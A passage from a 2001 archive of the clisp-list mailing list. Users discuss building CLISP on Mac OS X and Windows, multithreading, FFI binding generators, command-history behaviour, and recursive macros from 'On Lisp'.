Thanks in advance, Kicha "Arise, Awake and stop not till the goal is reached." - Swami Vivekananda ------------------------------------------- The Fastest Browser on Earth now for FREE!! Download Opera 5 for Windows now! Get it at http://www.opera.com/download/ ------------------------------------------- From rurban@x-ray.at Fri Jun 29 02:01:36 2001 Received: from ns1.tu-graz.ac.at ([129.27.2.3]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15Fu9e-0005Vc-00 for ; Fri, 29 Jun 2001 02:01:34 -0700 Received: from x-ray.at (chello212186199154.sc-graz.chello.at [212.186.199.154]) by ns1.tu-graz.ac.at (8.9.3/8.9.3) with ESMTP id KAA07027 for ; Fri, 29 Jun 2001 10:59:35 +0200 (MET DST) Message-ID: <3B3C4460.B43696E3@x-ray.at> Date: Fri, 29 Jun 2001 08:03:28 -0100 From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@sourceforge.net Subject: Re: [clisp-list] command-oriented-history with readline in CLISP References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: how about comments? "^\s*;+(.*)" => ? "#|\1|#" or just "" Sam Steingold schrieb: > bash has a variable, command_oriented_history, which controls whether > $ for x in * > > do echo $x > > done > $ > > is saved in history as one line or 3. > CLISP always saved 3 lines, which was bad. > now it will save one line. > the question is: do we need a similar backwards-compatibility option? > IOW, are there people around who _like_ the current behavior better than > the proposed one? > speak up or you will be stuck with "command_oriented_history" in the > next release. > [bash replaces newlines with "; " -- nothing like this will be done] -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From Randy.Justice@cnet.navy.mil Fri Jun 29 06:17:49 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15Fy98-0002Xe-00 for ; Fri, 29 Jun 2001 06:17:18 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id IAA11362 for ; Fri, 29 Jun 2001 08:16:39 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Fri, 29 Jun 2001 08:16:47 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@lists.sourceforge.net Date: Fri, 29 Jun 2001 08:16:46 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1009D.BF5E0540" Subject: [clisp-list] Multiple threads Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1009D.BF5E0540 Content-Type: text/plain; charset="iso-8859-1" Does methods exists for Multiple threads in CLISP? Randy ------_=_NextPart_001_01C1009D.BF5E0540 Content-Type: text/html; charset="iso-8859-1" Multiple threads

        Does methods exists for Multiple threads in CLISP?

Randy

------_=_NextPart_001_01C1009D.BF5E0540-- From erntrajano@uol.com.br Fri Jun 29 11:43:29 2001 Received: from traven.uol.com.br ([200.231.206.184]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15G3Em-0002uJ-00 for ; Fri, 29 Jun 2001 11:43:29 -0700 Received: from uol.com.br (PC118.netwaybbs.com.br [200.199.99.118]) by traven.uol.com.br (8.9.1/8.9.1) with ESMTP id PAA02822 for ; Fri, 29 Jun 2001 15:35:58 -0300 (BRT) Message-ID: <3B3CCA1D.ED3ADBFE@uol.com.br> Date: Fri, 29 Jun 2001 15:34:05 -0300 From: Ernesto Trajano de Lima Reply-To: erntrajano@uol.com.br Organization: Sorry .... I'm not organized at all! X-Mailer: Mozilla 4.77 (Macintosh; U; PPC) X-Accept-Language: en,de,fr,pt-BR MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Compiling problems MacOS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi clispers, I'm trying to compile clisp 2.26 on a mac with Mac OS X 10.0.4 installed (cc version 2.95.2), but I'm getting some errors. Here is a description of the steps I did and the errors I'm getting: 1- setenv CONFIG_SHELL "/bin/bash" 2- $CONFIG_SHELL ./configure with-cc After that I'm having the following error (only the last lines): cc -O -traditional-cpp -I. -I../../../libiconv/src -I../include -I../../../libiconv/src/../include -I../lib ../../../libiconv/src/iconv.c ../lib/.libs/libiconv.a -o iconv cd man && make all make[1]: Nothing to be done for `all'. if test -d tests; then cd tests && make all; fi make[1]: *** No rule to make target `all'. Stop. make: *** [all] Error 2 Even with this error I have tried to continue, then I did (after cd with-cc/): 3- ./makemake > Makefile 4- make config.lisp This command gave me the following answer: cp -p ../src/cfgunix.lisp config.lisp echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp I don't know if it is correct. I couldn't do "ulimit -S -s 8192" because this command doesn't exist in my system. There is a "unlimit" command but the usage is different (and there is no man entry for that!!). I tried to follow without the ulimit command: I removed "-O", "-O2" from the CC and CFLAGSand did: 5- make The error here is: /comment5 noreadline.d | ./ansidecl | ./varbrace > noreadline.c cd gettext/intl && make -r CC='cc -traditional-cpp' CFLAGS='-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -DUNICODE' RANLIB='ranlib' make[1]: *** No targets specified and no makefile found. Stop. make: *** [gettext/intl/libintl.a] Error 2 I don't know what else I can do. I'm a UNIX newbie and have very little knowledge of C. Can anybody help me or point some docs where I can look for an answer?? I apologize for the long post! Best regards, Ernesto Trajano de Lima Master Degree Student in Computer Science ------------------------------------------------------------------- Analise Musical Orientada a Objetos Sonoros: Visite nosso sitio. http://www.liaa.ch.ufpb.br/~gmt Sonic Object Oriented Musical Analysis: Visit us. ------------------------------------------------------------------- ************ I think, therefore iMac *********** From zuse@libero.it Fri Jun 29 13:49:02 2001 Received: from smtp2.libero.it ([193.70.192.52]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15G5CG-0003fp-00 for ; Fri, 29 Jun 2001 13:49:01 -0700 Received: from [192.168.1.254] (151.24.10.156) by smtp2.libero.it (5.5.031) id 3B3A18720008CAB3 for clisp-list@lists.sourceforge.net; Fri, 29 Jun 2001 22:48:53 +0200 User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022 Date: Fri, 29 Jun 2001 22:47:10 +0200 From: Riccardo Mottola To: Message-ID: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Subject: [clisp-list] MacOS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hello, is CLISP compiling supported under OS X ? clisp-2.26-bug1-pathname.diff clisp-2.26-bug2-dirkey.diff clisp-2.26-bug3-regexp.diff clisp-2.26-bug4-screen.diff clisp-2.26-bug5-no-ffi.diff clisp-2.26-bug6-mit-clx.diff clisp-2.26.tar.gz i got the previous files and patches, applied them and made ./configure it works around for a bit the last things it writes are about files of an rs6000 which I think is wrong. After this it prints out some hints, and i follow them starting make clisp gets built and then starts working on its .lisp files mhen it gots to places.lisp i get a Segmentation fault. any suggestions? I could point to an incorrect OS detection. in fact i tried GnuCommonLisp (GCL) and that one files right at the configure complaining about unknown architekture. thanks, riccardo From zuse@libero.it Fri Jun 29 16:33:33 2001 Received: from smtp3.libero.it ([193.70.192.53]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15G7lU-00049k-00 for ; Fri, 29 Jun 2001 16:33:32 -0700 Received: from [192.168.1.254] (151.24.10.156) by smtp3.libero.it (5.5.025) id 3AE9822800E65002; Sat, 30 Jun 2001 01:33:22 +0200 User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022 Date: Sat, 30 Jun 2001 01:31:34 +0200 Subject: Re: [clisp-list] MacOS X From: Riccardo Mottola To: fsc , Message-ID: In-Reply-To: <3B2B228200FDB616@smtp5.libero.it> (added by postmaster@iol.it> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: i issued ulimit -s 512 while being in "sh" (no bash on os X ?) but i sill get segmentation fault : places.lisp ..male *** [interpreted.mem] Segmentation fault help! i need LISP on my iBook! on 6/29/01 11:20 PM, fsc at fsc@users.sourceforge.net wrote: >> mhen it gots to places.lisp i get a Segmentation fault. > increase the stacksize (in bash: "ulimit -s 512" or so, it tcsh I > don't know) > and "make" again. > F. From v_krishnakumar@operamail.com Fri Jun 29 18:36:28 2001 Received: from operamail.com ([199.29.68.126]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15G9gR-00060C-00 for ; Fri, 29 Jun 2001 18:36:27 -0700 X-WM-Posted-At: operamail.com; Fri, 29 Jun 01 21:36:18 -0400 X-WebMail-UserID: v_krishnakumar Date: Fri, 29 Jun 2001 21:36:18 -0400 From: "V.Krishna Kumar" To: clisp-list@lists.sourceforge.net X-EXP32-SerialNo: 00000000 Message-ID: <3B518CE9@operamail.com> Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Mailer: InterChange (Hydra) SMTP v3.61.08 Subject: [clisp-list] RE: SWIG binding for CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi! all, I think SWIG is more useful for generating wrappers. Since CLISP's FFI allows to directly interface with foreign libs all that is required is some sort of h2lsp utility that parses C headers and generates appropriate lisp files. Maybe the whole thing can be automated using some kind of module definition facility which takes a module definition file (containing package name, exports, headers etc.) and performs the work of clisp-link automatically. Please correct me if 'am wrong. -Kicha ------------------------------------------- The Fastest Browser on Earth now for FREE!! Download Opera 5 for Windows now! Get it at http://www.opera.com/download/ ------------------------------------------- From amoroso@mclink.it Sat Jun 30 04:30:27 2001 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15GIxG-0001KK-00 for ; Sat, 30 Jun 2001 04:30:26 -0700 Received: from net145-069.mclink.it (net145-069.mclink.it [195.110.145.69]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id f5UBUGZ25319 for ; Sat, 30 Jun 2001 13:30:21 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Multiple threads Date: Sat, 30 Jun 2001 13:31:08 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Fri, 29 Jun 2001 08:16:46 -0500, Randy Justice wrote: > Does methods exists for Multiple threads in CLISP? See: http://sourceforge.net/people/viewjob.php?group_id=1355&job_id=3573 Don Cohen is accepting pledges to pay for the development of multi-threading support in CLISP. Contact him if you are willing to contribute. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From bhyde@zap.ne.mediaone.net Sat Jun 30 08:00:31 2001 Received: from zap.ne.mediaone.net ([66.31.108.127]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 15GMEY-0002UC-00 for ; Sat, 30 Jun 2001 08:00:30 -0700 Received: (qmail 70734 invoked by uid 1000); 30 Jun 2001 15:00:26 -0000 From: Ben Hyde MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15165.59785.50619.767096@zap.ne.mediaone.net> Date: Sat, 30 Jun 2001 11:00:25 -0400 (EDT) To: Riccardo Mottola Cc: fsc , Subject: Re: [clisp-list] MacOS X In-Reply-To: References: <3B2B228200FDB616@smtp5.libero.it> X-Mailer: VM 6.71 under 21.1 "20 Minutes to Nikko" XEmacs Lucid (patch 2) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I had little problem building latest, unreleased, version on OSX, my Powerbook G4. Instructions on getting it from CVS: http://sourceforge.net/cvs/?group_id=1355 Of course you have to installed the Darwin/OSX developer's tools before anything else. Getting it this way is easier than getting the tarball, and much easier than getting the tarball and doing a lot of patches. I installed bash, because that's what the instructions told me to do. But there was a report recently that you can force it to use tcsh and that works as well. Be sure to read the instructions in all three places INSTALL, unix/INSTALL, and unix/PLATFORMS. Foreign Functions are not working yet. - ben From andrew@thesoftwaresmith.com.au Sat Jun 30 21:26:12 2001 Received: from thesof1.lnk.telstra.net ([139.130.119.126] helo=grover) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15GYoG-0006Wv-00 for ; Sat, 30 Jun 2001 21:26:12 -0700 Received: from andrew by grover with local (Exim 3.12 #1 (Debian)) id 15GYnp-0002mx-00; Sun, 01 Jul 2001 14:25:45 +1000 Date: Sun, 1 Jul 2001 14:25:45 +1000 To: clisp-list@lists.sourceforge.net Message-ID: <20010701142545.A10716@grover> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i From: andrew@thesoftwaresmith.com.au Subject: [clisp-list] new-clx + garnet problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi, I am trying to get garnet working under clisp-2.26 with the new-clx module installed. Had no problems compiling everything and creating an image for garnet, however when trying to run the tour or any of the example programs, the following message is always returned: XLIB:CREATE-GCONTEXT: Wanted to refer to a dead display. All the clx example programs seem to be working fine. Am I doing something stupid or is some more concerted digging in the garnet source called for? Have had a look, but not making much sense of it so far... Cheers, Andrew PS Also tried using mit-clx, having installed the patch for this, but that does not even get as far as with new-clx. From a.bignoli@computer.org Mon Jul 02 13:16:01 2001 Received: from [212.110.54.10] (helo=shark.fauser.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15HA6z-000383-00 for ; Mon, 02 Jul 2001 13:16:01 -0700 Received: from pool1-ip22.fauser.it (pool1-ip22.fauser.it [212.110.54.87]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id WAA13603; Mon, 2 Jul 2001 22:15:18 +0200 (MET DST) Received: (from aurelio@localhost) by ghimel.fauser.it (8.10.2/8.10.2) id f62KEoG01179; Mon, 2 Jul 2001 22:14:50 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15168.54841.874598.743443@ghimel.fauser.it> Date: Mon, 2 Jul 2001 22:14:49 +0200 To: "V.Krishna Kumar" CC: clisp-list@lists.sourceforge.net Subject: [clisp-list] RE: SWIG binding for CLISP In-Reply-To: <71899687@toto.iv> X-Mailer: VM 6.93 under Emacs 20.7.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Kicha" == V Krishna Kumar writes: Kicha> Hi! all, I think SWIG is more useful for generating Kicha> wrappers. Since CLISP's FFI allows to directly interface Kicha> with foreign libs all that is required is some sort of Kicha> h2lsp utility that parses C headers and generates Kicha> appropriate lisp files. I think you are right. However, it is not so simple to write such a utility, since it has to understand a large part of C syntax. AFAIK, two similar programs are available: 1) CPARSE, by Tim Moore http://www.bricoworks.com/~moore/cparse It is copyrighted by Tim Moore but freely distributable. 2) parse-c-decls.lisp, by Vassili Bykov and Roger Corman. It is distributed with Corman Lisp: http://corman.net/CormanLisp.html. It is copyrighted by the authors, I'm not sure if it can be freely used or distributed. Both have some limitations in C syntax parsing. Aurelio From v_krishnakumar@operamail.com Mon Jul 02 21:06:58 2001 Received: from operamail.com ([199.29.68.126]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15HHSj-0002tN-00 for ; Mon, 02 Jul 2001 21:06:57 -0700 X-WM-Posted-At: operamail.com; Tue, 3 Jul 01 00:06:49 -0400 X-WebMail-UserID: v_krishnakumar Date: Tue, 3 Jul 2001 00:06:49 -0400 From: "V.Krishna Kumar" To: clisp-list@lists.sourceforge.net X-EXP32-SerialNo: 00000000 Message-ID: <3B4663AB@operamail.com> Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Mailer: InterChange (Hydra) SMTP v3.61.08 Subject: [clisp-list] FFI and CORBA Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi! ALL, 1) Is the FFI working on Win32 platforms ? If so, how do I build the linking set on those platforms ? 2) Instead of writing an ORB in LISP, is it possible to interface with a C based ORB (such as ORBit) using the FFI ? The advantages are i. You get a lot of free code (ORB itself) ii. Colocated servers & clients can be optimised to use function calls rather than sockets. Any thoughts ? cheers, Krish ------------------------------------------- The Fastest Browser on Earth now for FREE!! Download Opera 5 for Windows now! Get it at http://www.opera.com/download/ ------------------------------------------- From peter.wood@worldonline.dk Wed Jul 04 12:46:01 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #2 (Debian)) id 15Hsb2-0004lp-00 for ; Wed, 04 Jul 2001 12:46:00 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id D8680B53C for ; Wed, 4 Jul 2001 21:45:54 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f64JeID00373; Wed, 4 Jul 2001 21:40:18 +0200 Date: Wed, 4 Jul 2001 21:40:18 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20010704214018.A360@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] completion breaks in linux package Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi (linux:get_ => *** - SYSTEM::FUNCTION-SIGNATURE: # is not a function. Although (linux:get_current_dir_name) works. Completion works in the other packages. I am using clisp-2.26, on Gnu/linux 2.4.5, with all the packages except postgres and queens. Regards, Peter From bruce253@163.net Wed Jul 04 20:25:52 2001 Received: from [211.101.185.130] (helo=clubsvr) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.30-VA-mm1 #1 (Debian)) id 15Hzm3-00040r-00 for ; Wed, 04 Jul 2001 20:25:52 -0700 Received: from [211.101.185.130] by clubsvr (ArGoSoft Mail Server Plus, Version 1.4 (1.4.0.5)); Thu, 5 Jul 2001 11:29:02 Message-ID: <3B43DE20.1090104@163.net> Date: Thu, 05 Jul 2001 11:25:20 +0800 From: Bruce User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18pre21 i686; en-US; rv:0.9.1) Gecko/20010612 X-Accept-Language: zh-cn, en MIME-Version: 1.0 To: Paul Graham CC: clisp-list References: <20010705030855.14130.qmail@web14204.mail.yahoo.com> Content-Type: text/plain; charset=GB2312 Content-Transfer-Encoding: 7bit Subject: [clisp-list] Re: Recursive macros Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Paul Graham wrote: > How are you calling the macro? In both CMUCL and CLISP, I call them interactively. Just now I put them in a file and loaded it. CMUCL kept on gcing when loading and CLISP loaded fine. Then I can call (nthb 2 '(1 2 3 4)) in CLISP and get 3. Best! > --- Bruce wrote: > >>While reading Dr. Graham's book, "On Lisp", I found it difficult to >>appreciate the difference between two recursive macros that he said >>one >>is bad and the other is good. >> >>Bad one (P.140): >>(defmacro nthb (n lst) >> `(if (= ,n 0) >> (car ,lst) >> (nthb (- ,n 1) (cdr ,lst)))) >> >>Good one (P.142): >>(defmacro orb (&rest args) >> (if (null args) >> nil >> (let ((sym (gensym))) >> `(let ((,sym ,(car args))) >> (if ,sym >> ,sym >> (orb ,@(cdr args))))))) >> >>It is clear to see that both macros are recursive. Dr. Graham said in >> >>the book that the good one is good because it recurses on the >>arguments >>to the macro, not on the values of the arguments. That seems to make >>sense. >> >>But when I tested on CLISP and CMUCL, I found that CLISP happily >>accepts >>both macros but CMUCL runs in endless loop with the bad one. >> >>My question is: Is CLISP doing the right thing or CLISP >>implementation >>more conformant to the new ISO standard (Dr. Graham's statement no >>longer holds)? From bruce253@163.net Wed Jul 04 20:28:39 2001 Received: from [211.101.185.130] (helo=clubsvr) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.30-VA-mm1 #1 (Debian)) id 15HyoB-0006wM-00 for ; Wed, 04 Jul 2001 19:23:59 -0700 Received: from [211.101.185.130] by clubsvr (ArGoSoft Mail Server Plus, Version 1.4 (1.4.0.5)); Thu, 5 Jul 2001 10:26:14 Message-ID: <3B43CF67.60601@163.net> Date: Thu, 05 Jul 2001 10:22:31 +0800 From: Bruce User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18pre21 i686; en-US; rv:0.9.1) Gecko/20010612 X-Accept-Language: zh-cn, en MIME-Version: 1.0 To: clisp-list CC: onlisp@das.harvard.edu Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] Recursive macros Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: While reading Dr. Graham's book, "On Lisp", I found it difficult to appreciate the difference between two recursive macros that he said one is bad and the other is good. Bad one (P.140): (defmacro nthb (n lst) `(if (= ,n 0) (car ,lst) (nthb (- ,n 1) (cdr ,lst)))) Good one (P.142): (defmacro orb (&rest args) (if (null args) nil (let ((sym (gensym))) `(let ((,sym ,(car args))) (if ,sym ,sym (orb ,@(cdr args))))))) It is clear to see that both macros are recursive. Dr. Graham said in the book that the good one is good because it recurses on the arguments to the macro, not on the values of the arguments. That seems to make sense. But when I tested on CLISP and CMUCL, I found that CLISP happily accepts both macros but CMUCL runs in endless loop with the bad one. My question is: Is CLISP doing the right thing or CLISP implementation more conformant to the new ISO standard (Dr. Graham's statement no longer holds)? Best! From Randy.Justice@cnet.navy.mil Thu Jul 05 10:56:06 2001 Received: from penu1268.cnet.navy.mil ([160.125.255.140] helo=smtp.cnet.navy.mil) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.30-VA-mm1 #1 (Debian)) id 15IDLj-0004Pk-00 for ; Thu, 05 Jul 2001 10:55:35 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by smtp.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id MAA26389 for ; Thu, 5 Jul 2001 12:54:53 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id <31ZHS7W6>; Thu, 5 Jul 2001 12:55:05 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list Date: Thu, 5 Jul 2001 12:55:04 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1057B.9E944D00" Subject: [clisp-list] P4 and CLISP Installation... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1057B.9E944D00 Content-Type: text/plain; charset="iso-8859-1" According to the installation instructions Installation: ------------- Change the strings in src/config.lisp, using a text editor. Then start lisp.exe -M lispinit.mem When I try to install on a Windows 2000 and P4 box, I get.. C:\temp\randy\clisp-2.26>lisp -M lispinist.mem lisp: operating system error during load of initialisation file `lispinist.mem' GetLastError() = 0x0 (ERROR_SUCCESS): The operation completed successfully. I have installed CLISP in Windows 2000 and non P4 without problems... Can someone provide insight? Randy ------_=_NextPart_001_01C1057B.9E944D00 Content-Type: text/html; charset="iso-8859-1" P4 and CLISP Installation...

According to the installation instructions
Installation:
-------------

Change the strings in src/config.lisp, using a text editor.
Then start

         lisp.exe -M lispinit.mem

When I try to install on a Windows 2000 and P4 box, I get..

C:\temp\randy\clisp-2.26>lisp -M lispinist.mem
lisp: operating system error during load of initialisation file `lispinist.mem'
 GetLastError() = 0x0 (ERROR_SUCCESS): The operation completed successfully.

I have installed CLISP in Windows 2000 and non P4 without problems...

Can someone provide insight?

Randy

------_=_NextPart_001_01C1057B.9E944D00-- From Randy.Justice@cnet.navy.mil Thu Jul 05 11:59:13 2001 Received: from penu1268.cnet.navy.mil ([160.125.255.140] helo=smtp.cnet.navy.mil) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.30-VA-mm1 #1 (Debian)) id 15IEKo-0001aH-00 for ; Thu, 05 Jul 2001 11:58:42 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by smtp.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id NAA03544 for ; Thu, 5 Jul 2001 13:58:05 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id <31ZHS75H>; Thu, 5 Jul 2001 13:58:17 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list Subject: RE: [clisp-list] P4 and CLISP Installation... Date: Thu, 5 Jul 2001 13:58:16 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C10584.72FBA180" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C10584.72FBA180 Content-Type: text/plain; charset="iso-8859-1" Problem solved... it did not like the "." in the directory path... Randy -----Original Message----- From: Justice, Randy -CONT(DYN) [mailto:Randy.Justice@cnet.navy.mil] Sent: Thursday, July 05, 2001 12:55 PM To: clisp-list Subject: [clisp-list] P4 and CLISP Installation... According to the installation instructions Installation: ------------- Change the strings in src/config.lisp, using a text editor. Then start lisp.exe -M lispinit.mem When I try to install on a Windows 2000 and P4 box, I get.. 